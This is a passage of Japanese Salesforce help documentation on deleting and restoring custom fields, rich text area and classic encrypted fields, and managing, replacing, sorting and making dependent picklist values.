ユーザ権限

カスタム項目を削除する
• 「アプリケーションの

カスタマイズ」

1. 項目のオブジェクトの管理設定から、[項目] に移動します。
2. 項目名の横にある [削除] をクリックします。
3. 確認メッセージが表示されたら、[はい。カスタム項目を削除します。]チェッ

クボックスをオンにして、[削除] をクリックします。
削除したカスタム項目とそのデータは、組織がそれらを完全に削除するま
で、または削除後 15 日が経過するまで保存されます。それまでは、その項目
とデータを復元できます。削除したカスタム項目とリレーションの復元方法
についての詳細は、「削除されたカスタム項目の管理」 (ページ5396)を参照し
てください。

メモ:

• カスタム項目を削除する前に、参照されている場所を考慮してくださ
い。他の場所で参照されているカスタム項目は削除できません。たとえ
ば、項目自動更新や Apex によって参照されているカスタム項目は削除
できません。

• 項目がバックグラウンドジョブで更新されている場合 (積み上げ集計項
目の更新など)、その項目は削除できません。バックグラウンドジョブ
が完了するまで待機してから、もう一度お試しください。

• カスタム項目を削除すると、その項目の履歴データがすべて削除され、
変更が追跡されなくなります。

• バックグラウンドプロセスを定期的に実行して、削除済みのカスタム項
目に関連付けられたメタデータをクリーンアップします。このプロセス
は、ページレイアウト、レコードタイプ、およびカスタムオブジェクト
の [最終更新日] と [最終更新者] 項目に影響します。

関連トピック:

オブジェクト管理設定の検索
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削除されたカスタム項目の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ページレイアウトおよび
リードの項目は
Database.com Edition では
使用できません。

ユーザ権限

削除されたカスタム項目
とリレーションを復元す
る
• 「アプリケーションの

カスタマイズ」

カスタム項目またはリ
レーションを完全に削除
する
• 「アプリケーションの

カスタマイズ」

削除したカスタム項目とそのデータは、組織がそれらを完全に削除するまで、
または削除後 15 日が経過するまで保存されます。それまでは、その項目とデー
タを復元できます。
ただし、その項目は、依然として組織で許可されているカスタム項目の最大数
に対してカウントされます。削除された項目は、その項目種別に該当する制限
に対してもカウントされます。たとえば、削除されたカスタム積み上げ集計項
目は Salesforce エディションの積み上げ集計項目の最大数に対してカウントされ
ます。
1. 項目のオブジェクトの管理設定から、[項目] に移動します。
2. カスタム項目とリレーションのリストの下部にある [削除済み項目]をクリッ

クします。括弧内の数字は、このオブジェクトについて削除された項目の合
計数を表します。このリンクは、カスタム項目を削除した場合にのみ表示さ
れます。

3. 次のアクションを実行するには、削除された項目のリストを使用します。
• 項目の詳細を表示するには、項目の表示ラベルをクリックします。
• カスタム項目とそのデータを完全に削除するには、[消去]をクリックしま

す。
• 作成する項目のデータ型を選択し、[復元]をクリックします。削除された

項目の一部の属性は自動的に復元されません。これらの属性を手動で復
元する手順は、次のとおりです。
a. カスタム項目が削除されたときに変更されたページレイアウトに項目

を追加します。レポートとページレイアウトが編集されなかった場
合、復元された項目はそのレポートとページレイアウトにあります。

b. 必要に応じて、項目を一意に設定します。Salesforce は、削除されたカ
スタム項目から一意属性を自動的に削除します。

c. 必要に応じて、項目を必須に設定します。Salesforce は、削除されたカ
スタム項目の必須属性を自動的に削除します。

d. 該当する Force.com AppExchange パッケージにカスタム項目を追加しま
す。Salesforce は、削除されたカスタム項目を含むパッケージからその
項目を自動的に削除します。

e. 必要に応じて、参照関係を主従関係に変換します。Salesforce は、リレーションが削除されると、す
べてのリレーションを参照関係に変換します。参照関係を主従関係に変換するには、該当するすべ
てのレコードに適切なデータを入力します。

f. 項目が削除されたときに Salesforce が削除した項目の連動関係を再定義します。
g. 数式項目を編集し、保存します。エラーを解決する必要がある場合は、保存時に構文の確認が要求

されます。
h. 必要に応じて、項目履歴管理を設定します。履歴管理が有効になっている項目のリストが削除プロ

セス中に編集された場合、復元された項目については、項目履歴管理は設定されません。
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復元されたカスタム項目に関するメモ
• カスタム項目が削除されるときに、その項目にすでに作成者の名前「_del」が付いていない場合には、

「_del」という文字列が項目の作成者名の末尾に追加されます。この文字列は、カスタム項目を復元しても
残ります。

• 数式項目は無効の状態で復元されます。つまり、その項目を編集して保存するまで、データが更新されま
せん。数式項目が無効である間は、数式の値の代わりに「#Error!」と表示されます。

• 項目を復元した直後には、復元された項目が検索結果に表示されません。復元されたカスタム項目とその
データが検索結果に反映されるまでにはしばらくかかります。

• リードの取引の開始用に取引先、取引先責任者、または商談項目に対応付けられているリードの項目は、
復元したときにその関連付けが残っています。

• 自動採番項目は、削除された後も引き続き増加し、復元されても正しい値が維持されます。
• 削除されたカスタム項目の履歴データは復元されます。

関連トピック:

オブジェクト管理設定の検索

その他のカスタム項目オプション
ページレイアウトの変更

新しいカスタム項目の表示場所を変更するには、該当するタブのページレイアウトを編集します。
レコードタイプの使用

組織でレコードタイプを使用している場合は、レコードタイプを編集して、そのレコードタイプでアクセ
スできる選択項目の値を変更します。

カスタム項目の履歴追跡
追跡するカスタム項目は、カスタムオブジェクトとほとんどの標準オブジェクトの [履歴] 関連リストから
選択できます。履歴は、変更の日付、時刻、変更内容、変更者で構成されます。履歴データは、組織のディ
スク使用制限の対象にはなりません。

トランスレーションワークベンチの使用
組織でトランスレーションワークベンチを使用している場合は、新しい項目の翻訳が必要であることを翻
訳担当者に通知します。

活動のカスタム項目
活動のカスタム項目は、ToDo か予定のどちらかに適用することも、ToDo と行動の両方に適用することもで
きます。たとえば、[使用時間]という名前の項目を作成し、その項目を行動のページレイアウトと ToDo の
ページレイアウトの両方に追加できます。

リードのカスタム項目の対応付け
リードのカスタム項目では、[リードの項目の対応付け]をクリックして、カスタム取引先、取引先責任者、
および商談に対応付けるカスタム項目を指定できます。

関連トピック:

暗号化できる項目は?
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リッチテキストエリア項目に関するヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

画像やハイパーリンクを追加してテキストの外観を向上させるには、リッチテ
キストエリア項目を使用します。
リッチテキストエリア項目は、Salesforce HTML エディタを使用してコンテンツの
書式設定を行います。

メモ: アップグレードされたエディタは、互換モードの Internet Explorer バー
ジョン 7 またはバージョン 8 をサポートしません。これらのブラウザを使
用している場合は、旧エディタが使用されます。

実装のヒント
• 項目設定の「表示行数」プロパティを設定して、リッチテキストエリア項目

のエディタボックスの大きさを指定します。
• Salesforce では、コンテンツを表示または印刷するときに、リッチテキストエ

リア項目内の書式設定された HTML バージョンが保持されます。
• リッチテキストエリア項目を含むコンテンツの検索では、画像とタグは無視

されます。
• リッチテキストエリア項目を削除すると、カスタムオブジェクトの [削除済

み項目] セクションまたは Salesforce ナレッジ記事タイプに移動します。
• リッチテキストエリア項目をロングテキストエリア項目にのみ変換可能で

す。画像は、次回ロングテキストエリア項目を保存するときにすべて削除さ
れます。変換後、マークアップはロングテキストエリア項目で非表示になりますが、レコードを保存する
までレコードから削除されることはありません。このため、後でマークアップを復元することもできます。

• JavaScript または CSS はテキストとして処理されます。たとえば、API を使用してアイデアを作成する場合、
JavaScript コードまたは CSS コードは警告なく削除されます。Salesforce では、一部の承認済み HTML タグがサ
ポートされています。

• 数式でリッチテキストエリア項目が使用されている場合、数式が実行される前に HTML タグが取り除かれま
す。

• レポートではリッチテキストエリア項目の絞り込みと集計ができますが、HTML タグと特殊な書式はレポー
ト結果に含まれません。たとえば、<b>some</b> <i>text</i> は、<b>some</b> <i>text</i> や some text

ではなく「some text」になります。
• リッチテキストエリア項目のテキスト部分は、項目を含むオブジェクトのデータストレージに対してカウ

ントされます。
• Microsoft® Word などの外部ソースからテキストをコピーアンドペーストできますが、書式設定を再度適用す

る必要がある場合があります。
• 差し込み印刷でリッチテキストエリア項目を使用できますが、結果のドキュメントに HTML タグがテキスト

として含まれ、画像は差し込まれません。

リッチテキストエリア項目の画像
• リッチテキストエリア項目にアップロードできる画像の最大サイズは 1 MB です。サポートされるファイル

の種類は、.gif、.jpg、.png のみです。
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• 多くの画像をアップロードするには、API バージョン 20 以降を使用します。詳細は、『Force.com SOAP API 開
発者ガイド』を参照してください。

メモ: APIを使用して画像をアップロードする場合、別個に指定しない限り、alt 属性は入力されませ
ん。

• リッチテキストエリア項目でアップロードされた画像は組織のウィークリーエクスポートサービスで抽出
され、エクスポートデータに含まれます。

• リッチテキストエリア項目内の画像は、その項目を含むオブジェクトのファイルストレージに対してカウ
ントされます。

• 画像にはハイパーリンクを追加できません。
• [URL] 項目で file:// プロトコルを使用して、リッチテキストエリアに画像をアップロードすることはで

きません。代わりに、http:、https:、data:、//、/、または相対 URL を使用します。

関連トピック:

カスタム項目の作成

リッチテキストエリア項目の制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

リッチテキストエリア項目を使用する場合は、次の制限に留意してください。
• Salesforce では、リッチテキストエリア項目ごとに、HTML タグを含む、最大

131,072 文字までサポートされます。必要に応じて、下限を設定できます。
• 項目のデータ型に関係なく、オブジェクトに許可されるカスタム項目の合計

数に関するエディションの制限は適用されますが、オブジェクトには、リッ
チテキストエリア項目やロングテキストエリア項目を無制限に含めることが
できます。各オブジェクトは、ロングテキストエリア項目とリッチテキスト
エリア項目で 160 万文字を使用できます。ロングテキストエリア項目または
リッチテキストエリア項目を作成するとき、項目の文字数制限、つまり入力
可能なテキストの最大長を設定します。ロングテキストエリア項目とリッチ
テキストエリア項目のデフォルトの文字数制限は、32,768 文字 (32 KB) です。
ロングテキストエリア項目とリッチテキストエリア項目の最大文字数制限
は、131,072 文字 (128 KB) です。最小文字数制限は 256 文字です。

• 特殊文字 (中点や引用符など) を別のアプリケーションからリッチテキスト項
目に貼り付けることはできません。プレーンテキストで入力または貼り付けし、リッチテキストエディタ
を使用して書式を設定することをお勧めします。

• 特定のリッチテキストエリア機能を無効にすることはできません。たとえば、特定の項目のハイパーリン
クまたは画像のサポートを無効にすることはできません。

• HTML コードは、Salesforce HTML エディタではサポートされていません。HTML コードはテキストとして処理
されます。

• リッチテキストエリア項目は、セルフサービスポータルでは使用できません。
• リッチテキストエリア項目は、外部オブジェクトではサポートされていません。
• レポートの検索条件の「次の文字列を含む」演算子では、リッチテキストエリアまたはロングテキストエ

リアの最初の 254 文字のみがサポートされます。
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• レポートには、リッチテキストエリアまたはロングテキストエリアの最初の 254 文字のみが表示されます。
レポートをダウンロードしたら、すべての項目を使用できるようになります。

• [URL] 項目で file:// プロトコルを使用して、リッチテキストエリアに画像をアップロードすることはで
きません。代わりに、http:、https:、data:、//、/、または相対 URL を使用します。

カスタム項目の従来の暗号化

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

非公開にしておくカスタムテキスト項目を他の Salesforce ユーザが参照できない
ようにします。暗号化されたカスタムテキスト項目のデータを参照できるのは、
「暗号化されたデータの参照」権限を持つユーザのみです。

メモ: この情報は、Shield プラットフォームの暗号化ではなく、従来の暗号
化に関するものです。

暗号化カスタム項目を使用する前に、次の「実装メモ」、「制限」、「ベスト
プラクティス」をお読みください。

実装メモ
• 暗号化項目は 128 ビットの主キーで暗号化され、Advanced Encryption Standard

(AES) アルゴリズムを使用しています。主暗号キーは、アーカイブ、削除、お
よびインポートできます。主暗号化鍵管理を有効にするには、Salesforce まで
お問い合わせください。

• メールテンプレートに暗号化項目を使用することはできますが、その値は「暗号化されたデータの参照」
権限の有無に関係なく常にマスクされます。

• 暗号化されたカスタム項目をすでに作成している場合は、ユーザの組織で [セキュアな接続 (HTTPS) が必要]

が有効化されていることを確認してください。
• 「暗号化されたデータの参照」権限を持っている場合に他のユーザにログインアクセスを許可すると、そ

のユーザは暗号化された項目をプレーンテキストで参照できます。
• レコードをコピーするときに暗号化項目の値をコピーできるのは、「暗号化されたデータの参照」権限を

持っているユーザのみです。
• [Visualforce]ページでの暗号化項目の表示をサポートしているのは、<apex:outputField> コンポーネント

のみです。

制限
暗号化されたテキスト項目:

• 固有の値にはできません。また、外部 ID やデフォルト値を含めることもできません。
• リードの場合は、他のオブジェクトに対応付けることはできません。
• 暗号化アルゴリズムのために 175 文字に制限されます。
• リストビュー、レポート、積み上げ集計項目、およびルール条件などの条件に使用することはできません。
• レポートの条件を定義するために使用することはできませんが、レポート結果に含めることはできます。
• 検索することはできませんが、検索結果に含めることはできます。
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• 次の場合には使用できません。Salesforce Classic Mobile、Connect Offline、Salesforce for Outlook、リードの取引開
始、ワークフロールール条件または数式、数式項目、アウトバウンドメッセージ、デフォルト値、および
Web-to-リードと Web-to-ケースのフォーム。

ベストプラクティス
• 暗号化項目の編集は、「暗号化された項目の参照」権限の有無に関係なく行うことができます。他のユー

ザによって暗号化項目が編集されないようにするには、入力規則、項目レベルのセキュリティ設定、また
はページレイアウトの設定を使用します。

• その場合でも、入力規則またはApexを使用して、暗号化項目の値を確認できます。どちらの方法も「暗号
化された項目の参照」権限の有無に関係なく使用できます。

• 暗号化項目のデータは、デバッグログで常にマスクされるわけではありません。暗号化項目のデータがマ
スクされるのは、Apex Web サービス、トリガ、ワークフロー、インライン Visualforce ページ (ページレイア
ウトに組み込まれたページ)、または Visualforce メールテンプレートから Apex 要求が発信された場合です。
開発コンソールからApexを実行するなど、他の場合は、暗号化項目のデータはデバッグログでマスクされ
ません。

• 既存のカスタム項目を暗号化項目に変換したり、暗号化された項目を他のデータ型に変換することはでき
ません。既存の (暗号化されていない) 項目の値を暗号化するには、データをエクスポートし、暗号化され
たカスタム項目を作成してから、そのデータを新しい暗号化項目にインポートします。

• [マスク種別]は、データが必ず[マスク種別]と一致する入力マスクではありません。入力したデータが、
選択したマスク型と確実に一致するようにするには、入力規則を使用します。

• 暗号化カスタム項目ではより多くの処理が必要となり、また、検索関連の制限もあるため、政府の規制に
より必要な場合にのみ使用してください。

メモ: このページは、Shield プラットフォームの暗号化ではなく、従来の暗号化について書かれています。
相違点 (ページ 941)

関連トピック:

カスタム項目の作成
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選択リスト値の追加または編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

項目リストを変更する
• 「アプリケーションの

カスタマイズ」

オブジェクトの項目領域でカスタム選択リストの値を追加または編集します。
選択リストでグローバル選択リスト値セットを使用している場合は、グローバ
ル値セットを編集することによってのみ、その値を変更できます。変更内容は、
そのグローバル値セットから値を継承している、すべての選択リストに影響し
ます。

メモ: 選択リスト値の変更は設定変更履歴に記録されます。監査履歴を表
示するには、[設定] から、[クイック検索] ボックスに「設定変更履歴の参
照」と入力し、[設定変更履歴の参照] を選択します。

1. オブジェクトの項目領域に移動します。
2. [カスタム項目 & リレーション] 関連リストでは、更新する選択項目の名前を

クリックします。
3. [値] セクションで値の横にある [編集] をクリックします。
4. 値の名前を変更し、必要に応じて値をマスタ選択リストのデフォルトにしま

す。
5. ボタンをクリックし、値に色を割り当てる方法を選択して、グラフで使用する色を割り当てます。

• [すべての値に固定色を割り当て]を選択すると、グラフの色の標準セットから各値に固定色が割り当て
られます。[グラフの色] 列に、割り当てられた色が示されます。たとえば、商談フェーズごとにグルー
プ化されたグラフで不成立の値を常に赤にする場合は、その選択リスト値に赤を割り当てます。

• [値に色を動的に割り当て]を選択すると、グラフの作成時に色が割り当てられます。たとえば、特定の
選択リスト値のみをグラフで固定色にする場合は、対象の値に手動で色を割り当て、その他の値はその
ままにして動的に割り当てられるようにします。

メモ: グラフの色は、複数選択リスト、通貨選択リスト、または [ToDo 件名]、[行動の件名]、[ナレッジ
検証状況] および [商談の競合] 選択リストでは使用できません。

ヒント:

• レコードタイプを使用する場合は、マスタ選択リストのデフォルト値を変更しても、レコードタイ
プの選択リストのデフォルト値は変更されません。

• アイデアでは、[カテゴリ] 選択リストや [状況] 選択リストのデフォルト値を設定しても、アイデア
ページのデフォルト値は変わりません。

• 検索条件として使用する選択リスト値のラベルを変更すると、その選択リスト値は自動的に検索条
件から削除されます。たとえば、レポートに「[リードソース] [次の文字列と一致する] [Web]」
という検索条件がある場合に、選択リスト値「Web」を「参照元」に変更すると、レポートの検索
条件は「リードソース 次の文字列と一致する メール」に変わります。検索条件に選択値が 1 つしか
指定されていない場合にその値を変更すると、その値は引き続き検索条件に表示されますが、エ
ラーメッセージが表示されます。

6. [保存] をクリックします。
7. 選択リストを必須にするには (まだ必須でない場合)、詳細ページの最上部で [編集] をクリックし、[値の入

力を必須にする] をオンにします。
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8. 無制限から制限ありに、または制限ありから無制限に選択リストを変更するには、[値セットで定義された
値に選択リストを制限します] 設定を調整します。

9. 選択リスト値の印刷用リストを開くには、[印刷用に表示] をクリックします。

メモ: 組織でトランスレーションワークベンチを使用している場合は、選択リスト値を変更したときに、
翻訳が未更新である可能性を翻訳者に通知します。

情報を追加した選択リスト
選択リスト値の置換
ビジネスで変更が必要な場合は、選択リスト値をより関連性の高い値に置き換えます。値をグローバルに
置き換えると、既存のすべてのレコードでその項目値が置き換えられます。
選択リストの並び替え
無効な選択リスト値の管理
制限付きまたは制限なしのカスタム選択リストで値を無効化、再有効化、削除します。グローバル選択リ
スト値セットの場合、これらのアクションは値セットを継承するすべてのカスタム選択リストを同時に更
新します。

関連トピック:

無効な選択リスト値の管理
無効な選択リスト値の管理
選択リスト値の置換

情報を追加した選択リスト
次の標準選択リスト項目には、編集可能な追加情報があります。

説明選択リスト

コンサルタントや納入業者など、取引先パートナーの
役割。これらのオプションは、取引先または商談の

[パートナーの役割](取引先)

[パートナー] 関連リストに取引先を追加するときに使
用できます。
編集するには、[設定] から、[クイック検索]ボックス
に「パートナーの役割」と入力し、[パートナーの役割]

を選択します。
[役割] 欄にパートナーの役割名を入力します。[先方か
ら見た役割] 欄には、先方から見た場合のこちら側の
役割を入力します。パートナーの役割を取引先に割り
当てると、先方から見たパートナーとの関係が作成さ
れ、両方の取引先で、他方をパートナーとして表示で
きます。
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説明選択リスト

役割と、先方から見た役割は、40 文字まで入力可能
です。

低や高など、ケースの優先度。
値を削除すると、組織のすべてのケースで、削除した
値を別の既存値に対応付けるオプションが表示されま
す。

[優先度](ケースの場合)

選択リストの値には、40 文字まで入力可能です。

[実施]、[レスポンスあり] などキャンペーンメンバー
の状況。
[状況] 値を削除すると、削除した値を別の既存値に対
応付けるオプションが表示されます。削除した値を含

[状況]  (キャンペーンメンバー)

んでいたキャンペーンのメンバーの状況に、新しい置
換値が自動的に追加されます。
削除した値がキャンペーンメンバーのデフォルトの状
況である場合、新しい置換値がキャンペーンのデフォ
ルトの状況になります。

ケースの状況 (新規、対応中など)。
値を削除すると、組織のすべてのケースで、削除した
値を別の既存値に対応付けるオプションが表示されま
す。

[状況](ケースの場合)

選択リストの値には、40 文字まで入力可能です。

契約ビジネスプロセスにおける契約の状況この選択
リストに値を追加して、各値を、「ドラフト」、「承

[状況](契約の場合)

認処理中」、「有効」などのように複数のカテゴリに
まとめることができます。次に、レポートおよび
ビュー内にあるこれらのカテゴリを使用して契約を並
び替えます。

業務担当者や意思決定者など、契約に対する取引先責
任者の役割。これらのオプションは、契約の [取引先

[取引先責任者の役割](契約の場合)

責任者の役割] 関連リストに取引先責任者を追加する
ときに使用できます。
編集するには、[設定] から、[クイック検索]ボックス
に「取引先責任者の役割」と入力し、[契約での取引先
責任者の役割] を選択します。
選択リストの値には、40 文字まで入力可能です。
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説明選択リスト

リードの状況 (新規、評価済みなど)。
インポートまたは Web サイトを使用して、1 つの値
を、手動で作成したすべての新規リードに割り当てら

[リード状況](リードの場合)

れる「状況のデフォルト値」として選択します。1 つ
以上の値を、取引開始済みリードに割り当てられる
「取引開始後の状況」として選択します。条件に該当
するリードを取引先、取引先責任者、および商談に変
換する場合は、「取引開始済み」状況を 1 つ選択し、
リードに割り当てることができます。種別が「取引開
始済み」状況のリードは、レポートに含めることはで
きますが、[リード] タブには表示されなくなります。
値を削除すると、組織のすべてのリードで、削除した
値を別の既存値に対応付けるオプションが表示されま
す。
20 文字まで入力可能です。

業務担当者や意思決定者など、商談の取引先責任者の
役割。これらのオプションは、商談の [取引先責任者]

[取引先責任者の役割](商談の場合)

関連リストに取引先責任者を追加するときに使用でき
ます。
編集するには、[設定] から、[クイック検索]ボックス
に「取引先責任者の役割」と入力し、[商談での取引先
責任者の役割] を選択します。
選択リストの値には、40 文字まで入力可能です。

見込み客や提案など、セールスプロセスのフェーズ。
この選択リストは、商談の [種類]と [売上予測分類]

[フェーズ](商談の場合)

の値にも影響します。特に、[フェーズ] 選択リスト
値の [種類] または [売上予測分類] を変更すると、
フェーズ値があるすべての商談が更新されます。
編集するには、商談の管理設定から [項目] に移動し、
[フェーズ] の横にある [編集] をクリックします。
有効なフェーズを無効にするには、フェーズの横にあ
る [削除] をクリックします。フェーズ値の置き換え
ページでは、無効にしたフェーズを既存の値に置き換
えずにただ [保存] をクリックします。フェーズが [無
効なフェーズの選択リスト値] 関連リストに表示され
ます。フェーズは使用されなくなりますが、以前の商
談レコードには存在している可能性があります。
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説明選択リスト

ソリューションの状況 (ドラフト、レビュー済みな
ど)。1 つ以上の値を「レビュー済み」として選択しま

[状況](ソリューションの場合)

す。ユーザがソリューションを使用してケースを解決
するときに、レビュー済みのソリューションとまだレ
ビューが済んでいないソリューションを表示できま
す。選択リストの値には、40 文字まで入力可能です。

高、中、低などの ToDo の重要度。新しく作成するす
べての ToDo に適用されるデフォルトの優先度として、

[優先度](ToDo の場合)

また、最も優先度が高いものとして、それぞれ値を 1

つ設定します。
値を削除すると、組織のすべての ToDo で、削除した
値を別の既存値に対応付けるオプションが表示されま
す。
選択リストの値には、20 文字まで入力可能です。

未着手や完了など、ToDo の状況。「完了」および値
1 つを、すべての新規 ToDo のデフォルトの状態として
選択します。
値を削除すると、組織のすべての ToDo で、削除した
値を別の既存値に対応付けるオプションが表示されま
す。

[状況](ToDo の場合)

選択リストの値には、40 文字まで入力可能です。

[メール送信のデフォルト]は、ToDo がメールまたは一
括メールの送信であり、かつ [メール to Salesforce] など

[ToDo の種別](ToDo の場合)

の、受信メールにより作成されたものである場合に割
り当てられるデフォルトの ToDo の種別を指定します。
[デフォルト] は、ToDo 作成時のデフォルトの選択リ
スト値を指定します。
編集するには、ToDo の管理設定から [項目] に移動し、
デフォルトとして指定する選択リスト値の横にある
[編集] をクリックします。

5406

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



選択リスト値の置換

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

選択リスト値を置換する
• 「アプリケーションの

カスタマイズ」

ビジネスで変更が必要な場合は、選択リスト値をより関連性の高い値に置き換
えます。値をグローバルに置き換えると、既存のすべてのレコードでその項目
値が置き換えられます。
たとえば、3 つの異なる完了した値、「完了-赤」、「完了-黄」、「完了-緑」を
持つ状況選択リストがあり、これらを 1 つの値に簡略化するとします。そこで 3

つの値を新しい値「完了」に置き換えます。

重要: 制御選択リスト内の親の値を置き換えると、その値の選択リストの
連動関係は失われます。親の値を置き換えたら、新しい親の値を使用して
連動関係を再作成します。

1. 必要に応じて、選択リスト編集ページで置き換える値を作成します。「選択
リスト値の追加または編集」を参照してください。

2. 選択リストに移動します。
• グローバル選択リスト値セットの場合、[設定] から、[クイック検索]ボッ

クスに「選択リスト」と入力し、[選択リスト値セット] を選択します。
• オブジェクト上の選択リストの場合は、オブジェクトの項目エリアに移動します。たとえば、取引先の

選択リストの場合、[設定] から [クイック検索] ボックスに「取引先」と入力し、[取引先] で [項目] を選
択します。

3. 選択リスト値の置換プロセスを開始します。
• グローバル選択リスト値セットの場合は、選択リスト名をクリックしてグローバル値セットの詳細ペー

ジに移動します。[値] セクションで、[置換] をクリックします。
• 他のすべての選択リストの場合、選択リスト名の横の [置換] をクリックします。

4. 変更前の値を入力し、新しい値を選択します。

メモ: 既存の選択リスト値を置き換えると、そのレコードの [更新者] の日時も変わります。

5. この項目が現在空のレコードで新しい値を使用するには、[すべての空白値を置き換える] を選択します。
6. 組織のレコードに含まれるすべての値を新しい値に更新するには、[置換] をクリックします。ごみ箱に含

まれる値も更新されます。
置換ジョブがキューに入れられます。ジョブの状況を確認するには、[設定] から、[クイック検索]ボックスに
「バックグラウンドジョブ」と入力し、[バックグラウンドジョブ] を選択します。ジョブが完了すると、メー
ルで通知されます。

メモ: 商談の [フェーズ] 選択リストを置き換えると、[確度]、[売上予測分類]および [期待収益]項目も、
対応する値に更新されます。

関連トピック:

グローバル選択リスト値セットの作成
選択リスト値の置換
無効な選択リスト値の管理
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選択リストの並び替え

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

項目リストを並び替える
• 「アプリケーションの

カスタマイズ」

1. 選択リスト項目のオブジェクトの管理設定から、[項目] に移動します。

メモ:

• カスタム ToDo または行動の項目の場合は、[活動] のオブジェクト管
理設定に移動します。

• 標準 ToDo の項目の場合は、[ToDo] のオブジェクト管理設定に移動し
ます。標準行動の項目の場合は、[行動] のオブジェクト管理設定に移
動します。

• [ナレッジ検証状況] 選択リスト値の場合は、[設定] から、[クイック
検索] ボックスに「検証状況」と入力し、[入力規則の状況] を選択し
ます。

2. 更新する選択リストの名前をクリックします。
3. [並び替え] をクリックします。
4. 矢印を使用して、項目を適切な順序に並び替えます。
5. 必要に応じてデフォルト値を選択します。
6. 編集ページでユーザのエントリをアルファベット順に並べるには、[値をアルファベット順で並び替える...]

をオンにします。ユーザの言語に関係なく、エントリは常にアルファベット順に表示されます。
7. 変更内容を保存します。

メモ: レコード編集と詳細ページ、およびレポートにおいて、選択リストおよび複数選択リスト項目には
無効な値が含まれていることがあります。原則として、これらの無効な値は最後に並び替えられます。
その場合、すべての値はアルファベット順に並び替えられます。

関連トピック:

オブジェクト管理設定の検索
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無効な選択リスト値の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

制限付きまたは制限なしのカスタム選択リストで値を無効化、再有効化、削除
します。グローバル選択リスト値セットの場合、これらのアクションは値セッ
トを継承するすべてのカスタム選択リストを同時に更新します。

メモ: Salesforceシステム管理者のみが制限付き選択リストの値を変更できま
す。ユーザは API を使用しても未承認の値を追加できません。

1. 変更する選択リストに移動します。
• オブジェクト上の選択リストの場合は、オブジェクトの項目エリアに移

動します。
• グローバル選択リストの場合、[設定] から、[クイック検索] ボックスに

「選択リスト」と入力し、[選択リスト値セット] を選択します。

2. 選択リスト名をクリックして選択リストの詳細ページに移動します。
3. [値] セクションで、選択リストの値を変更します。

• 値を無効化して選択リストから値を削除し、既存のレコードには保持す
るには、値の名前の横にある [無効化] をクリックします。[無効な値] セクションに値が移動します。値
が後で再度必要な場合は、名前の横にある [有効化] をクリックします。

• 選択リストから値を削除し、その値を使用するすべてのレコードからその値を削除するには、値の名前
の横にある [削除] をクリックして [レコードの値を空白値に置換] を選択します。その後、[保存] をク
リックします。

• グローバル選択リストとその値セットを共有するカスタム選択リストから値を削除するには、値の名前
の横にある [削除]をクリックして [OK]をクリックします。カスタム選択リストでこのグローバル選択リ
スト値セットが使用されていると、値を空白値か既存の有効な値に置き換えるように要求されます。カ
スタム選択リストで値セットが使用されていない場合、値はグローバル選択リストから削除されます。

メモ: 履歴トレンドでグローバル選択リスト値が使用されている場合、値は無効化されますが削除
されません。

グローバル選択リスト値セットの値の削除は直ちに実行されます。グローバル以外の制限付き選択リストに対
する削除ジョブはバックグラウンドジョブキューに入ります。ジョブが完了すると、制限つき選択リストが更
新され、通知メールが送信されます。
選択リスト値の変更は設定変更履歴に記録されます。監査履歴を表示するには、[設定] から、[クイック検索]

ボックスに「設定変更履歴の参照」と入力し、[設定変更履歴の参照] を選択します。
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連動選択リストの定義

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
すべてのエディション

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

連動選択リストを定義す
る
• 「アプリケーションの

カスタマイズ」

ヒント: 組織でレコードタイプを使用している場合は、連動選択リストを
定義する前に、制御項目と連動選択リストの値が該当するレコードタイプ
で確実に使用できることを確認してください。

1. 項目の追加先となるオブジェクトの管理設定から、[項目] に移動します。
カスタム ToDo および行動項目には、[活動] のオブジェクト管理設定からアク
セスできます。

2. [項目の連動関係] をクリックします。
3. [新規] をクリックします。
4. 制御項目と連動項目を選択します。

メモ: 選択リストおよびチェックボックス項目の一部は、制御項目とし
て利用できない場合があります。

5. [次へ] をクリックします。
6. 項目の連動関係マトリックスを使用して、ユーザが各制御項目の値を選択し

たときに有効とする連動選択リストの値を指定します。
7. 必要に応じて、[プレビュー] をクリックし、選択内容をテストできます。組

織でレコードタイプを使用している場合は、レコードタイプを選択して、制
御項目および連動選択リストの値にどのように影響するかを確認してください。レコードタイプは、制御
項目で使用できる値を制御します。レコードタイプと制御項目は、どちらも連動選択リストで使用できる
値を決定します。たとえば、連動項目の値は、選択したレコードタイプおよび選択した制御項目の値で使
用可能な場合にのみ使用できます。

メモ: [レコードタイプ別検索基準] オプションは、活動のカスタム項目のプレビューウィンドウには
表示されません。

8. [保存] をクリックします。

連動選択リスト
項目の連動関係マトリックスの使用
連動選択リストの編集
選択リストの連動関係の削除
連動選択リストの考慮事項
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連動選択リスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

連動選択リストを使用することで、ユーザは正確で整合性のとれたデータを入
力できます。連動選択リストは、有効な値が制御項目と呼ばれる別の項目の値
